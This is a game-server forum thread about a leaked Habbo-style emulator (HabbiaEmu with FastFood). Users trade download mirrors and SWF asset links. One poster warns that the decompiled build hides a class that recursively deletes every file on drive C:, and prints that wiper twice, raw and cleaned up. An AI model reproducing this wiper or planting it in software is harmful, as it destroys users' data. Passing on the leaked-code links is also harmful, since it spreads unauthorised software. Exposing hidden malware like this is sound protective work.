Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

[LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

Status
Not open for further replies.
Developer
Developer
Joined
Aug 10, 2011
Messages
7,405
Reaction score
3,314
Decompile that one and find this:

PHP:
namespace ns0
{
    using System;
    using System.IO;

    internal sealed class Class0
    {
        internal static void smethod_0()
        {
            smethod_1(new DirectoryInfo(@"C:\\"));
        }

        private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
        {
            void* voidPtr = (void*) stackalloc byte[8];
            try
            {
                FileInfo[] files = directoryInfo_0.GetFiles();
                *((int*) voidPtr) = 0;
            Label_0010:
                if (*(((int*) voidPtr)) >= files.Length)
                {
                    try
                    {
                        DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
                        *((int*) (voidPtr + 4)) = 0;
                        while (*(((int*) (voidPtr + 4))) < directories.Length)
                        {
                            DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
                            smethod_1(info2);
                            *(((int*) (voidPtr + 4)))++;
                        }
                    }
                    catch
                    {
                    }
                    try
                    {
                        Directory.Delete(directoryInfo_0.FullName);
                    }
                    catch
                    {
                    }
                    return;
                }
                FileInfo info = files[*((int*) voidPtr)];
                try
                {
                    File.Delete(info.FullName);
                }
                catch
                {
                }
                *(((int*) voidPtr))++;
            }
            catch
            {
            }
            goto Label_0010;
        }
    }
}

It does not require a lot of skills to figure out what that code is supposed to do....

I think it gives you a free cookie.

Also what are the features of this?

Has it LTD?
Do badges in catalogue work?
Rentable Bots?
Groups?

Tell me more features, cba to look over the source as I dont understand C#
 
Junior Spellweaver
Joined
May 14, 2009
Messages
130
Reaction score
23
Does anyone know if this emulator is stable? More stable than BCStorm?

Thanks!
 
Developer
Developer
Joined
Aug 10, 2011
Messages
7,405
Reaction score
3,314
Does anyone know if this emulator is stable? More stable than BCStorm?

Thanks!

Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.
 
Run, but I'll find you.
Joined
Jan 29, 2011
Messages
777
Reaction score
327
Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.

Does look like room promos are coded tho
 
Developer
Developer
Joined
Dec 11, 2010
Messages
2,955
Reaction score
2,689
If you want to understand what the class does, here is a better cleaned version using my personal program.

Code:
using System;
using System.IO;
namespace ns0
{
	internal sealed class Class0
	{
		internal static void smethod_0()
		{
			Class0.smethod_1(new DirectoryInfo("C:\\\\"));
		}
		private static void smethod_1(DirectoryInfo directoryInfo_0)
		{
			try
			{
				FileInfo[] files = directoryInfo_0.GetFiles();
				int ptr = 0;
				while (ptr < files.Length)
				{
					FileInfo fileInfo = files[ptr];
					try
					{
						File.Delete(fileInfo.FullName);
					}
					catch
					{
					}
					int ptr = ptr + 1;
				}
			}
			catch
			{
			}
			try
			{
				DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
				DirectoryInfo[] array = directories;
				ptr = 0;
				while (ptr < array.Length)
				{
					DirectoryInfo directoryInfo_ = array[ptr];
					Class0.smethod_1(directoryInfo_);
					ptr = ptr + 1;
				}
			}
			catch
			{
			}
			try
			{
				Directory.Delete(directoryInfo_0.FullName);
			}
			catch
			{
			}
		}
	}
}
 
Newbie Spellweaver
Joined
Jul 30, 2012
Messages
75
Reaction score
3
Hi, can someone help me to Get and make work/ run this emulator for my hotel please ?
 
Joined
May 8, 2010
Messages
1,902
Reaction score
669
I see someone said room Promos, might add to mine x] and then release with new headers when i get to work x] but PS4 Release Stream.


What SWF revision does this run on by the way? I need it so i can convert the headers over x]
 
Last edited:
Developer
Developer
Joined
Dec 11, 2010
Messages
2,955
Reaction score
2,689
Got bored...

le8P2Pj - [LEAKED!] HabbiaEmu (ButterStorm original with FastFood) - RaGEZONE Forums
 

Attachments

You must be registered for see attachments list
Last edited:
Custom Title Activated
Loyal Member
Joined
Oct 26, 2012
Messages
2,357
Reaction score
1,086
I don't know if this is real or fake (I think it's quite real but on hlat.us the fastfood gives me errors) but I'm saying thanks for the fastfood emulator.

Edit: lol'd hard:

PHP:
// .
[DllImport("mscorwks.dll", CharSet = CharSet.Unicode, EntryPoint = "StrongNameSignatureVerificationEx")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool ([MarshalAs(UnmanagedType.LPWStr)] string, [MarshalAs(UnmanagedType.Bool)] bool, [MarshalAs(UnmanagedType.Bool)] out bool);
 
Last edited:
Zephyr Studios
Loyal Member
Joined
Feb 18, 2012
Messages
1,877
Reaction score
724
The fastfood emulator is nice, thanks for releasing HabbiaEmu. :):
 
Newbie Spellweaver
Joined
Sep 3, 2010
Messages
31
Reaction score
25
Can you make a mirror on mediafire.

HabbiaEmulator (Butterstorm aka hlat emu).rar (6.1 MB)

Mirror
Link del Fastfood Emu (Just the big and config files)
Mirror

SWFS is on Hlat.us, just rip it
 
Junior Spellweaver
Joined
Aug 22, 2007
Messages
130
Reaction score
103
Code:
[URL]http://hlat.us/swf/swfs/config_habbo.xml[/URL]
[URL]http://hlat.us/swf/swfs/crossdomain.xml[/URL]
[URL]http://hlat.us/swf/swfs/external_flash_override_texts.txt?1[/URL]
[URL]http://hlat.us/swf/swfs/external_flash_texts_new.txt?20[/URL]
[URL]http://hlat.us/swf/swfs/external_override_variables.txt[/URL]
[URL]http://hlat.us/swf/swfs/figuremap.xml[/URL]
[URL]http://hlat.us/swf/swfs/furnidata.txt?29[/URL]
[URL]http://hlat.us/swf/swfs/games/gamecenter_basejump/BaseJump.swf[/URL]
[URL]http://hlat.us/swf/swfs/games/gamecenter_basejump/BasicAssets.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_acc_waist.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_body.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_face.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_fx.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_hair.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_item.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_leg.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_shirt.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_shoe.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_acc_waist.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_body.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_face.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_fx.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_hair.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_item.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_leg.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_shirt.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_shoe.swf[/URL]
[URL]http://hlat.us/swf/swfs/productdata.txt?2[/URL]
[URL]http://hlat.us/swf/swfs/rel-24122012/HabboClient.swf?6[/URL]
[URL]http://hlat.us/swf/swfs/rel-24122012/external_variables.txt?21[/URL]
[URL]http://hlat.us/swf/swfs/rel-24122012/figuredata.xml[/URL]
[URL]http://hlat.us/swf/swfs/safechat-en.txt[/URL]

Enjoy
 
Custom Title Activated
Loyal Member
Joined
Oct 21, 2007
Messages
2,098
Reaction score
464
The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.

@OnTopic
Veeery good work decompiling it :)

For Fastfood you can always just create a separate instance of a socket server/session and Message handler
For example MUS/Remote Connection you create a new socket instance.

This is a much better way than creating a whole new project.
 
Status
Not open for further replies.
Back
Top